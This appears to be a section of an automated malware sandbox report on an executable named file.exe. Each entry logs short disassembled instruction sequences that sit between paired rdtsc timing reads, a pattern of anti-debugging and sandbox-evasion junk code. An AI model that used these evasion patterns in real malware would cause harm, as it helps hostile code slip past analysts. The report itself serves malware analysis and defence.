Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3998 second address: 8C39EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6B550CB118h 0x0000000d jmp 00007F6B550CB119h 0x00000012 jmp 00007F6B550CB117h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C39EE second address: 8C39F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8907 second address: 8C8922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F6B550CB116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8922 second address: 8C894F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6B55D157CAh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F6B55D157D7h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C894F second address: 8C8993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB111h 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007F6B550CB119h 0x00000010 jmp 00007F6B550CB10Bh 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007F6B550CB106h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8B20 second address: 8C8B3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6B55D157D5h 0x0000000c jmp 00007F6B55D157CFh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8B3F second address: 8C8B51 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B550CB106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8DFF second address: 8C8E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8E04 second address: 8C8E22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jg 00007F6B550CB106h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 ja 00007F6B550CB10Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8E22 second address: 8C8E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB01E second address: 8CB034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB112h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB034 second address: 8CB07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F6B55D157E5h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6B55D157D9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB07C second address: 8CB093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Ah 0x00000007 jng 00007F6B550CB106h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB093 second address: 8CB09B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB09B second address: 8CB0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB0A1 second address: 8CB0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFB75 second address: 8CFB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F6B550CB10Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFE6D second address: 8CFEC9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F6B55D157D2h 0x00000008 jmp 00007F6B55D157D7h 0x0000000d pop ecx 0x0000000e jmp 00007F6B55D157CFh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ebx 0x00000016 push esi 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e jmp 00007F6B55D157D5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881AEE second address: 881AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881AF2 second address: 881AFC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881AFC second address: 881B24 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6B550CB10Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F6B550CB115h 0x00000013 jmp 00007F6B550CB10Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D049E second address: 8D04A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D04A2 second address: 8D04B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 js 00007F6B550CB134h 0x0000000d jo 00007F6B550CB10Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D04B9 second address: 8D04C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7B3B second address: 8D7B79 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6B550CB125h 0x00000008 jmp 00007F6B550CB10Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F6B550CB106h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7B79 second address: 8D7B83 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7B83 second address: 8D7B88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7B88 second address: 8D7B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D713C second address: 8D7169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB10Ch 0x00000007 pushad 0x00000008 jmp 00007F6B550CB10Bh 0x0000000d jne 00007F6B550CB106h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebx 0x00000019 pushad 0x0000001a push eax 0x0000001b pop eax 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7169 second address: 8D7171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D75AA second address: 8D75C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB10Eh 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c jp 00007F6B550CB10Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7702 second address: 8D771D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D771D second address: 8D772B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6B550CB112h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D772B second address: 8D7731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7731 second address: 8D7749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6B550CB10Ch 0x0000000b jns 00007F6B550CB106h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFB12 second address: 8DFB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFB18 second address: 8DFB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6B550CB111h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFCB4 second address: 8DFCE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B55D157D2h 0x00000008 pushad 0x00000009 jne 00007F6B55D157C6h 0x0000000f jmp 00007F6B55D157D1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFF82 second address: 8DFFA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F6B550CB106h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B550CB115h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0226 second address: 8E0230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6B55D157C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0230 second address: 8E0263 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB113h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F6B550CB118h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0263 second address: 8E026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6B55D157C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E026F second address: 8E0273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E051E second address: 8E0523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0523 second address: 8E0528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0A4A second address: 8E0A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 ja 00007F6B55D157C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0D98 second address: 8E0D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0D9E second address: 8E0DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0DA4 second address: 8E0DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA141 second address: 8EA14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6B55D157C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA14E second address: 8EA154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA154 second address: 8EA15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA8F2 second address: 8EA8F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA8F8 second address: 8EA902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6B55D157C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EAA79 second address: 8EAA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6B550CB106h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F6B550CB106h 0x00000013 jbe 00007F6B550CB106h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EAA92 second address: 8EAA9A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EAA9A second address: 8EAAB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B550CB113h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EADD4 second address: 8EADFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B55D157CAh 0x00000009 push ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f popad 0x00000010 jc 00007F6B55D157DBh 0x00000016 pushad 0x00000017 jmp 00007F6B55D157CBh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0641 second address: 8F0667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6B550CB113h 0x0000000d pushad 0x0000000e jnl 00007F6B550CB106h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0667 second address: 8F066C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F066C second address: 8F0672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F07EE second address: 8F07F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F07F2 second address: 8F0805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B550CB10Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0805 second address: 8F0812 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0812 second address: 8F0816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0816 second address: 8F0826 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0826 second address: 8F082A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C4F second address: 8F0C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0C53 second address: 8F0C6C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B550CB106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B550CB10Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F122C second address: 8F1230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F13EB second address: 8F13F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F21F3 second address: 8F21F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F21F7 second address: 8F21FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F21FB second address: 8F2201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0279 second address: 8F027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F027D second address: 8F0283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F0283 second address: 8F0289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7065 second address: 8F706B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F706B second address: 8F707A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F6B550CB106h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F707A second address: 8F7095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F6B55D157C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jg 00007F6B55D157DAh 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F7095 second address: 8F709F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6B550CB106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA9C0 second address: 8FA9C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAB37 second address: 8FAB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6B550CB106h 0x0000000a jmp 00007F6B550CB117h 0x0000000f popad 0x00000010 pushad 0x00000011 jc 00007F6B550CB106h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAB62 second address: 8FAB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FACA2 second address: 8FACA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905F6F second address: 905F96 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6B55D157C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6B55D157D8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90AC07 second address: 90AC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F6B550CB10Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91820E second address: 918218 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B55D157C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EF9A second address: 91EFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6B550CB112h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EFB6 second address: 91EFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EFBE second address: 91EFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EFC3 second address: 91EFC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91EFC9 second address: 91EFCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F0EF second address: 91F107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922DB8 second address: 922DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB112h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DB90 second address: 92DBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B55D157CAh 0x00000009 pop ecx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBA2 second address: 92DBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DBA8 second address: 92DBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6B55D157D8h 0x0000000c rdtsc
